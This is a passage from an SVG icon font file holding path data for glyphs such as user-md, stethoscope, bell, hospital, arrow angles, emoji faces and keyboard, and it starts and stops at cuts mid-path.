l-17.0898 25.6904c-3.49023 5.24023 -5.34961 11.4004 -5.36035 17.6904zM0 272c0 93.0303 73.4404 175.69 175.45 176c97.46 0.299805 176.55 -78.6104 176.55 -176c0 -44.3701 -16.4502 -84.8496 -43.5596 -115.78c-16.5205 -18.8496 -42.3604 -58.2295 -52.21 -91.4502
c-0.0400391 -0.269531 -0.0703125 -0.519531 -0.110352 -0.779297h-160.24c-0.0400391 0.259766 -0.0703125 0.519531 -0.110352 0.779297c-9.84961 33.2207 -35.6895 72.6006 -52.21 91.4502c-27.1094 30.9307 -43.5596 71.4102 -43.5596 115.78zM176 352
c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16c-61.7598 0 -112 -50.2402 -112 -112c0 -8.83984 7.16016 -16 16 -16s16 7.16016 16 16c0 44.1104 35.8896 80 80 80z" />
    <glyph glyph-name="user-md" unicode="&#xf0f0;" horiz-adv-x="448" 
d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM104 24c0 13.2998 10.7002 24 24 24s24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24zM320 159.4c71.2002 -3.5 128 -61.8008 128 -133.801
v-44.7998c0 -24.7002 -20.0996 -44.7998 -44.7998 -44.7998h-358.4c-24.7002 0 -44.7998 20.0996 -44.7998 44.7998v44.7998c0 66.6006 48.5 121.4 112.1 132.101v-80.4004c-23.0996 -6.89941 -40 -28.0996 -40 -53.3994c0 -30.9004 25.1006 -56 56 -56
c30.9004 0 56 25.0996 56 56c0 25.2998 -16.8994 46.5 -40 53.3994v81.6006c7.7002 -1 15.2002 -2.60059 22.6006 -5.2002c18 -6.2998 37.2998 -9.7998 57.3994 -9.7998c20.1006 0 39.4004 3.5 57.4004 9.7998c2.2002 0.799805 4.40039 1.2002 6.59961 1.89941v-45.1992
c-36.5 -7.5 -64 -39.8008 -64 -78.4004v-43.7998c0 -8.10059 5.90039 -14.7998 13.8008 -15.9004l31.1992 -4.2002c4.30078 -0.799805 8.5 2 9.40039 6.30078l3.09961 15.6992c0.800781 4.30078 -2 8.5 -6.2998 9.40039l-19.2998 3.90039v26.6992
c0 67 96 64.7002 96 1.90039v-28.5l-19.2998 -3.90039c-4.40039 -0.799805 -7.2002 -5.09961 -6.2998 -9.39941l3.09961 -15.7002c0.900391 -4.40039 5.09961 -7.2002 9.40039 -6.2998l32.1992 6.39941c7.5 1.5 12.9004 8.10059 12.9004 15.7002v41.7002
c0 38.5996 -27.5 71 -64 78.4004v49z" />
    <glyph glyph-name="stethoscope" unicode="&#xf0f1;" 
d="M447.1 336c35.7002 0.5 64.9004 -28.2998 64.9004 -64c0 -23.7002 -12.9004 -44.2998 -32 -55.4004v-112.6c0 -92.5996 -79 -168 -176 -168c-95.4004 0 -173.3 72.7998 -175.9 163.2c-73 14.7998 -128.1 79.5 -128.1 156.8v155.4c0 11.5 8.09961 21.2998 19.2998 23.5996
l62.7998 12.4004c13 2.59961 25.6006 -5.80078 28.2002 -18.8008l3.10059 -15.6992c2.59961 -13 -5.80078 -25.6006 -18.8008 -28.2002l-30.6992 -6.10059v-122.5c0 -53.2998 43.5 -96.5 96.8994 -96c52.9004 0.5 95.1006 44.3008 95.1006 97.2002v121.4l-30.7002 6.09961
c-13 2.60059 -21.4004 15.2002 -18.7998 28.2002l3.19922 15.7002c2.60059 13 15.2002 21.3994 28.2002 18.7998l62.9004 -12.5996c11.2002 -2.2002 19.2998 -12.1006 19.2998 -23.5v-155.4c0 -77.2002 -55 -141.8 -127.8 -156.8
c2.7002 -55.1006 51.8994 -99.2002 111.899 -99.2002c61.8008 0 112 46.7002 112 104v112.6c-19.5 11.2002 -32.5 32.5 -32 56.8008c0.700195 34.1992 28.8008 62.0996 63 62.5996zM448 256c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16
s7.2002 -16 16 -16z" />
    <glyph glyph-name="suitcase" unicode="&#xf0f2;" 
d="M128 -32v400c0 26.5 21.5 48 48 48h160c26.5 0 48 -21.5 48 -48v-400h-256zM192 352v-32h128v32h-128zM512 272v-256c0 -26.5 -21.5 -48 -48 -48h-48v352h48c26.5 0 48 -21.5 48 -48zM96 -32h-48c-26.5 0 -48 21.5 -48 48v256c0 26.5 21.5 48 48 48h48v-352z" />
    <glyph glyph-name="bell" unicode="&#xf0f3;" horiz-adv-x="448" 
d="M224 -64c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64zM439.39 85.71c6 -6.44043 8.66016 -14.1602 8.61035 -21.71c-0.0996094 -16.4004 -12.9805 -32 -32.0996 -32h-383.801c-19.1191 0 -31.9893 15.5996 -32.0996 32
c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c19.3193 20.7598 55.4697 51.9902 55.4697 154.29c0 77.7002 54.4795 139.9 127.939 155.16v20.8398c0 17.6699 14.3203 32 31.9805 32s31.9805 -14.3301 31.9805 -32v-20.8398
c73.46 -15.2598 127.939 -77.46 127.939 -155.16c0 -102.3 36.1504 -133.53 55.4697 -154.29z" />
    <glyph glyph-name="coffee" unicode="&#xf0f4;" horiz-adv-x="640" 
d="M192 64c-53 0 -96 43 -96 96v232c0 13.2998 10.7002 24 24 24h392c70.5996 0 128 -57.4004 128 -128s-57.4004 -128 -128 -128h-32c0 -53 -43 -96 -96 -96h-192zM512 352h-32v-128h32c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64zM559.7 -32h-511.4
c-47.5996 0 -61 64 -36 64h583.3c25 0 11.8008 -64 -35.8994 -64z" />
    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="448" 
d="M448 -44v-20h-448v20c0 6.62695 5.37305 12 12 12h20v360c0 13.2549 10.7451 24 24 24h88v72c0 13.2549 10.7451 24 24 24h112c13.2549 0 24 -10.7451 24 -24v-72h88c13.2549 0 24 -10.7451 24 -24v-360h20c6.62695 0 12 -5.37305 12 -12zM308 256h-40
c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12zM140 192h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40
c0 -6.62695 5.37305 -12 12 -12zM244 64h-40c-6.62695 0 -12 -5.37305 -12 -12v-84h64v84c0 6.62695 -5.37305 12 -12 12zM308 160h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12
zM192 148c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40zM182 352h26v-26c0 -3.31152 2.68848 -6 6 -6h20c3.31152 0 6 2.68848 6 6v26h26c3.31152 0 6 2.68848 6 6v20
c0 3.31152 -2.68848 6 -6 6h-26v26c0 3.31152 -2.68848 6 -6 6h-20c-3.31152 0 -6 -2.68848 -6 -6v-26h-26c-3.31152 0 -6 -2.68848 -6 -6v-20c0 -3.31152 2.68848 -6 6 -6z" />
    <glyph glyph-name="ambulance" unicode="&#xf0f9;" horiz-adv-x="640" 
d="M624 96c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48c0 -53 -43 -96 -96 -96s-96 43 -96 96h-128c0 -53 -43 -96 -96 -96s-96 43 -96 96h-16c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48 -21.5 48 -48v-48h44.0996
c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l99.9004 -99.9004c9 -9 14.0996 -21.2002 14.0996 -33.9004v-108.1h16zM160 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM304 232v48c0 4.40039 -3.59961 8 -8 8h-56v56
c0 4.40039 -3.59961 8 -8 8h-48c-4.40039 0 -8 -3.59961 -8 -8v-56h-56c-4.40039 0 -8 -3.59961 -8 -8v-48c0 -4.40039 3.59961 -8 8 -8h56v-56c0 -4.40039 3.59961 -8 8 -8h48c4.40039 0 8 3.59961 8 8v56h56c4.40039 0 8 3.59961 8 8zM480 -16c26.5 0 48 21.5 48 48
s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM560 192v12.0996l-99.9004 99.9004h-44.0996v-112h144z" />
    <glyph glyph-name="medkit" unicode="&#xf0fa;" 
d="M96 -32v352h32v48c0 26.5098 21.4902 48 48 48h160c26.5098 0 48 -21.4902 48 -48v-48h32v-352h-320zM192 352v-32h128v32h-128zM512 272v-256c0 -26.5098 -21.4902 -48 -48 -48h-16v352h16c26.5098 0 48 -21.4902 48 -48zM64 -32h-16c-26.5098 0 -48 21.4902 -48 48v256
c0 26.5098 21.4902 48 48 48h16v-352zM352 176c0 8.83691 -7.16309 16 -16 16h-48v48c0 8.83691 -7.16309 16 -16 16h-32c-8.83691 0 -16 -7.16309 -16 -16v-48h-48c-8.83691 0 -16 -7.16309 -16 -16v-32c0 -8.83691 7.16309 -16 16 -16h48v-48
c0 -8.83691 7.16309 -16 16 -16h32c8.83691 0 16 7.16309 16 16v48h48c8.83691 0 16 7.16309 16 16v32z" />
    <glyph glyph-name="fighter-jet" unicode="&#xf0fb;" horiz-adv-x="640" 
d="M544 224c96 -21.333 96 -26.583 96 -32s0 -10.667 -96 -32l-128 -16l-48 -16h-24l-116.842 -148h39.5088c11.666 0 21.333 -2.625 21.333 -6s-9.66602 -6 -21.333 -6h-114.667v12h16v164h-48l-66.666 -80h-34.667l-10.667 10.667v69.333h8v16h48v2.66699l-64 8v42.667
l64 8v2.66602h-48v16h-8v69.333l10.667 10.667h34.666l66.667 -80h48v164h-16v12h114.667c11.666 0 21.333 -2.625 21.333 -6s-9.66699 -6 -21.333 -6h-39.5088l116.842 -148h24l48 -16z" />
    <glyph glyph-name="beer" unicode="&#xf0fc;" horiz-adv-x="448" 
d="M368 352c44.1123 0 80 -35.8877 80 -80v-128.86c0 -31.5273 -18.6035 -60.2031 -47.3936 -73.0527l-80.6064 -35.9766v-42.1104c0 -13.2549 -10.7451 -24 -24 -24h-272c-13.2549 0 -24 10.7451 -24 24v400c0 13.2549 10.7451 24 24 24h272c13.2549 0 24 -10.7451 24 -24
v-40h48zM384 143.14v128.86c0 8.82227 -7.17773 16 -16 16h-48v-183.805l54.5215 24.334c5.22754 2.33789 9.47461 8.88379 9.47852 14.6104zM208 64c8.83594 0 16 7.16406 16 16v224c0 8.83594 -7.16406 16 -16 16s-16 -7.16406 -16 -16v-224
c0 -8.83594 7.16406 -16 16 -16zM112 64c8.83594 0 16 7.16406 16 16v224c0 8.83594 -7.16406 16 -16 16s-16 -7.16406 -16 -16v-224c0 -8.83594 7.16406 -16 16 -16z" />
    <glyph glyph-name="h-square" unicode="&#xf0fd;" horiz-adv-x="448" 
d="M448 368v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48zM336 320h-32c-8.83691 0 -16 -7.16309 -16 -16v-80h-128v80c0 8.83691 -7.16309 16 -16 16h-32
c-8.83691 0 -16 -7.16309 -16 -16v-224c0 -8.83691 7.16309 -16 16 -16h32c8.83691 0 16 7.16309 16 16v80h128v-80c0 -8.83691 7.16309 -16 16 -16h32c8.83691 0 16 7.16309 16 16v224c0 8.83691 -7.16309 16 -16 16z" />
    <glyph glyph-name="plus-square" unicode="&#xf0fe;" horiz-adv-x="448" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM368 164v56c0 6.59961 -5.40039 12 -12 12h-92v92c0 6.59961 -5.40039 12 -12 12h-56c-6.59961 0 -12 -5.40039 -12 -12v-92h-92
c-6.59961 0 -12 -5.40039 -12 -12v-56c0 -6.59961 5.40039 -12 12 -12h92v-92c0 -6.59961 5.40039 -12 12 -12h56c6.59961 0 12 5.40039 12 12v92h92c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="angle-double-left" unicode="&#xf100;" horiz-adv-x="448" 
d="M223.7 209l136 136c9.39941 9.40039 24.5996 9.40039 33.8994 0l22.6006 -22.5996c9.39941 -9.40039 9.39941 -24.6006 0 -33.9004l-96.2998 -96.5l96.3994 -96.4004c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.7002
c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-136 136c-9.5 9.40039 -9.5 24.5996 -0.0996094 34zM31.7002 175c-9.40039 9.40039 -9.40039 24.5996 0.0996094 34l136 136c9.2998 9.40039 24.5 9.40039 33.9004 0l22.5996 -22.7002
c9.40039 -9.2998 9.40039 -24.5 0 -33.8994l-96.3994 -96.4004l96.2998 -96.5c9.39941 -9.2998 9.39941 -24.5 0 -33.9004l-22.6006 -22.5996c-9.2998 -9.40039 -24.5 -9.40039 -33.8994 0z" />
    <glyph glyph-name="angle-double-right" unicode="&#xf101;" horiz-adv-x="448" 
d="M224.3 175l-136 -136c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.6006 22.5996c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l96.4004 96.4004l-96.4004 96.3994c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l22.5 22.7998
c9.40039 9.40039 24.6006 9.40039 33.9004 0l136 -136c9.5 -9.40039 9.5 -24.5996 0.0996094 -34zM416.3 209c9.40039 -9.40039 9.40039 -24.5996 0 -33.7998l-136 -136c-9.2998 -9.40039 -24.5 -9.40039 -33.8994 0l-22.6006 22.5996
c-9.39941 9.2998 -9.39941 24.5 0 33.9004l96.4004 96.3994l-96.4004 96.4004c-9.39941 9.2998 -9.39941 24.5 0 33.9004l22.6006 22.5996c9.2998 9.40039 24.5 9.40039 33.8994 0z" />
    <glyph glyph-name="angle-double-up" unicode="&#xf102;" horiz-adv-x="320" 
d="M177 192.3l136 -136c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.6006c-9.40039 -9.39941 -24.6006 -9.39941 -33.9004 0l-96.5 96.2998l-96.4004 -96.3994c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.7002 22.5996
c-9.40039 9.40039 -9.40039 24.6006 0 33.9004l136 136c9.40039 9.5 24.5996 9.5 34 0.0996094zM143 384.3c9.40039 9.40039 24.5996 9.40039 33.7998 0l136 -136c9.40039 -9.2998 9.40039 -24.5 0 -33.8994l-22.5996 -22.6006c-9.2998 -9.39941 -24.5 -9.39941 -33.9004 0
l-96.3994 96.4004l-96.4004 -96.4004c-9.2998 -9.39941 -24.5 -9.39941 -33.9004 0l-22.5996 22.6006c-9.40039 9.2998 -9.40039 24.5 0 33.8994z" />
    <glyph glyph-name="angle-double-down" unicode="&#xf103;" horiz-adv-x="320" 
d="M143 191.7l-136 136c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l22.5996 22.6006c9.40039 9.39941 24.6006 9.39941 33.9004 0l96.4004 -96.4004l96.3994 96.4004c9.40039 9.39941 24.6006 9.39941 33.9004 0l22.7998 -22.5
c9.40039 -9.40039 9.40039 -24.6006 0 -33.9004l-136 -136c-9.40039 -9.5 -24.5996 -9.5 -34 -0.0996094zM177 -0.299805c-9.40039 -9.40039 -24.5996 -9.40039 -34 0.0996094l-136 136c-9.40039 9.2998 -9.40039 24.5 0 33.9004l22.7002 22.5996
c9.2998 9.40039 24.5 9.40039 33.8994 0l96.4004 -96.3994l96.5 96.2998c9.2998 9.39941 24.5 9.39941 33.9004 0l22.5996 -22.6006c9.40039 -9.2998 9.40039 -24.5 0 -33.8994z" />
    <glyph glyph-name="angle-left" unicode="&#xf104;" horiz-adv-x="256" 
d="M31.7002 209l136 136c9.39941 9.40039 24.5996 9.40039 33.8994 0l22.6006 -22.5996c9.39941 -9.40039 9.39941 -24.6006 0 -33.9004l-96.2998 -96.5l96.3994 -96.4004c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.7002
c-9.40039 -9.40039 -24.6006 -9.40039 -33.9004 0l-136 136c-9.5 9.40039 -9.5 24.5996 -0.0996094 34z" />
    <glyph glyph-name="angle-right" unicode="&#xf105;" horiz-adv-x="256" 
d="M224.3 175l-136 -136c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.6006 22.5996c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l96.4004 96.4004l-96.4004 96.3994c-9.39941 9.40039 -9.39941 24.6006 0 33.9004l22.5 22.7998
c9.40039 9.40039 24.6006 9.40039 33.9004 0l136 -136c9.5 -9.40039 9.5 -24.5996 0.0996094 -34z" />
    <glyph glyph-name="angle-up" unicode="&#xf106;" horiz-adv-x="320" 
d="M177 288.3l136 -136c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-22.5996 -22.6006c-9.40039 -9.39941 -24.6006 -9.39941 -33.9004 0l-96.5 96.2998l-96.4004 -96.3994c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.7002 22.5996
c-9.40039 9.40039 -9.40039 24.6006 0 33.9004l136 136c9.40039 9.5 24.5996 9.5 34 0.0996094z" />
    <glyph glyph-name="angle-down" unicode="&#xf107;" horiz-adv-x="320" 
d="M143 95.7002l-136 136c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l22.5996 22.6006c9.40039 9.39941 24.6006 9.39941 33.9004 0l96.4004 -96.4004l96.3994 96.4004c9.40039 9.39941 24.6006 9.39941 33.9004 0l22.5996 -22.6006
c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-136 -136c-9.2002 -9.40039 -24.3994 -9.40039 -33.7998 0z" />
    <glyph glyph-name="desktop" unicode="&#xf108;" horiz-adv-x="576" 
d="M528 448c26.5 0 48 -21.5 48 -48v-320c0 -26.5 -21.5 -48 -48 -48h-192l16 -48h72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24h-272c-13.2998 0 -24 10.7002 -24 24s10.7002 24 24 24h72l16 48h-192c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h480z
M512 96v288h-448v-288h448z" />
    <glyph glyph-name="laptop" unicode="&#xf109;" horiz-adv-x="640" 
d="M624 32c8.7998 0 16 -7.2002 16 -16v-16c0 -35.2002 -28.7998 -64 -64 -64h-512c-35.2002 0 -64 28.7998 -64 64v16c0 8.7998 7.2002 16 16 16h239.23c-0.25 -14.5303 14.0791 -32 32.7695 -32h60.7998c18.0303 0 32 12.1904 32.7402 32h242.46zM576 400v-336h-512v336
c0 26.4004 21.5996 48 48 48h416c26.4004 0 48 -21.5996 48 -48zM512 128v256h-384v-256h384z" />
    <glyph glyph-name="tablet" unicode="&#xf10a;" horiz-adv-x="448" 
d="M400 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h352zM224 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="mobile" unicode="&#xf10b;" horiz-adv-x="320" 
d="M272 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-224c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h224zM160 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="quote-left" unicode="&#xf10d;" 
d="M464 192c26.5 0 48 -21.5 48 -48v-128c0 -26.5 -21.5 -48 -48 -48h-128c-26.5 0 -48 21.5 -48 48v240c0 88.4004 71.5996 160 160 160h8c13.2998 0 24 -10.7002 24 -24v-48c0 -13.2998 -10.7002 -24 -24 -24h-8c-35.2998 0 -64 -28.7002 -64 -64v-64h80zM176 192
c26.5 0 48 -21.5 48 -48v-128c0 -26.5 -21.5 -48 -48 -48h-128c-26.5 0 -48 21.5 -48 48v240c0 88.4004 71.5996 160 160 160h8c13.2998 0 24 -10.7002 24 -24v-48c0 -13.2998 -10.7002 -24 -24 -24h-8c-35.2998 0 -64 -28.7002 -64 -64v-64h80z" />
    <glyph glyph-name="quote-right" unicode="&#xf10e;" 
d="M464 416c26.5 0 48 -21.5 48 -48v-240c0 -88.4004 -71.5996 -160 -160 -160h-8c-13.2998 0 -24 10.7002 -24 24v48c0 13.2998 10.7002 24 24 24h8c35.2998 0 64 28.7002 64 64v64h-80c-26.5 0 -48 21.5 -48 48v128c0 26.5 21.5 48 48 48h128zM176 416
c26.5 0 48 -21.5 48 -48v-240c0 -88.4004 -71.5996 -160 -160 -160h-8c-13.2998 0 -24 10.7002 -24 24v48c0 13.2998 10.7002 24 24 24h8c35.2998 0 64 28.7002 64 64v64h-80c-26.5 0 -48 21.5 -48 48v128c0 26.5 21.5 48 48 48h128z" />
    <glyph glyph-name="spinner" unicode="&#xf110;" 
d="M304 400c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48s48 -21.4902 48 -48zM256 32c26.5098 0 48 -21.4902 48 -48s-21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48zM464 240c26.5098 0 48 -21.4902 48 -48s-21.4902 -48 -48 -48
s-48 21.4902 -48 48s21.4902 48 48 48zM96 192c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48s48 -21.4902 48 -48zM108.922 92.9219c26.5088 0 48 -21.4912 48 -48c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48z
M403.078 92.9219c26.5098 0 48 -21.4912 48 -48c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48zM108.922 387.078c26.5088 0 48 -21.4902 48 -48s-21.4902 -48 -48 -48s-48 21.4902 -48 48s21.4902 48 48 48z" />
    <glyph glyph-name="circle" unicode="&#xf111;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248z" />
    <glyph glyph-name="smile" unicode="&#xf118;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32
s32 14.2998 32 32s-14.2998 32 -32 32zM362.8 101.8c13.5 16.2998 -11.2002 36.7002 -24.5996 20.5c-22.4004 -26.7998 -55.2002 -42.2002 -90.2002 -42.2002s-67.7998 15.3008 -90.2002 42.2002c-13.5996 16.2002 -38.2002 -4.2002 -24.5996 -20.5
c28.5 -34.2002 70.2998 -53.7998 114.8 -53.7998s86.2998 19.5996 114.8 53.7998z" />
    <glyph glyph-name="frown" unicode="&#xf119;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32
s32 14.2998 32 32s-14.2998 32 -32 32zM338.2 53.7998c13.5 -16.2998 38.0996 4.2002 24.5 20.4004c-28.4004 34.2002 -70.2998 53.7998 -114.7 53.7998s-86.2998 -19.5996 -114.8 -53.7002c-13.5 -16.2998 11.0996 -36.7998 24.5996 -20.5
c22.4004 26.7998 55.2998 42.2002 90.2002 42.2002s67.7998 -15.4004 90.2002 -42.2002z" />
    <glyph glyph-name="meh" unicode="&#xf11a;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM344 80c21.2002 0 21.2002 32 0 32h-192c-21.2002 0 -21.2002 -32 0 -32
h192zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="gamepad" unicode="&#xf11b;" horiz-adv-x="640" 
d="M480.07 352c88.2939 -0.0263672 159.952 -71.7061 159.952 -160c0 -88.3203 -71.6797 -160 -160 -160c-37.1016 0 -88.291 21.5039 -114.263 48h-91.5195c-25.9717 -26.4961 -77.1611 -48 -114.263 -48c-88.3203 0 -160 71.6797 -160 160s71.6797 160 160 160h0.0224609
h320.07zM248 180v24c0 6.62402 -5.37598 12 -12 12h-52v52c0 6.62402 -5.37598 12 -12 12h-24c-6.62402 0 -12 -5.37598 -12 -12v-52h-52c-6.62402 0 -12 -5.37598 -12 -12v-24c0 -6.62402 5.37598 -12 12 -12h52v-52c0 -6.62402 5.37598 -12 12 -12h24
c6.62402 0 12 5.37598 12 12v52h52c6.62402 0 12 5.37598 12 12zM464 104c22.0801 0 40 17.9199 40 40s-17.9199 40 -40 40s-40 -17.9199 -40 -40s17.9199 -40 40 -40zM528 200c22.0801 0 40 17.9199 40 40s-17.9199 40 -40 40s-40 -17.9199 -40 -40s17.9199 -40 40 -40z
" />
    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="576" 
d="M528 0h-480c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h480c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48zM128 268v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40
c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM224 268v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM320 268v40c0 6.62695 -5.37305 12 -12 12h-40
c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM416 268v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM512 268v40
c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM176 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40
c6.62695 0 12 5.37305 12 12zM272 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM368 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40
c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM464 172v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM128 76v40c0 6.62695 -5.37305 12 -12 12h-40
c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM416 76v40c0 6.62695 -5.37305 12 -12 12h-232c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h232c6.62695 0 12 5.37305 12 12zM512 76v40
c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12z" />
    <glyph glyph-name="flag-checkered" unicode="&#xf11e;" 
d="M243.2 258.1c24.2002 -6.69922 47.5996 -16.3994 73.5996 -22.1992v-68.2002c-24.2998 6.7002 -47.5 16.3994 -73.5996 22.2998v68.0996zM466.5 381.1c21.2002 9.80078 45.5 -5.69922 45.4004 -29v-243.1c0 -10.5996 -5.10059 -20.4004 -13.8008 -26.4004
c-35.7998 -24.5996 -74.2998 -40.8994 -122.5 -40.8994c-67.3994 0 -111.6 34.7998 -165.199 34.7998c-50.8008 0 -86.1006 -10 -114.4 -22.0996v-94.4004c0 -13.2998 -10.7002 -24 -24 -24h-16c-13.2998 0 -24 10.7002 -24 24v386.1c-14.5 10.1006 -24 26.9004 -24 45.9004
c0 31.7002 26.2998 57.2998 58.2998 56c28.5 -1.2002 51.7998 -24 53.6006 -52.4004c0.5 -8.39941 -0.800781 -16.2998 -3.60059 -23.5996c20.7002 7.59961 43 12 68 12c67.4004 0 111.7 -34.7998 165.2 -34.7998c40.5 0 82.7002 16 117 31.8994zM169.6 122.5v71.2998
c-26.0996 -2.39941 -47.3994 -8.09961 -73.5996 -17.3994v-70.5c23.5996 8.39941 47.7998 13.8994 73.5996 16.5996zM464 257v70.5c-21.2998 -8.90039 -46.5996 -17.7002 -73.5996 -22.5v-71.9004c-26 -4.19922 -49.9004 -2.59961 -73.6006 2.7002v68.4004
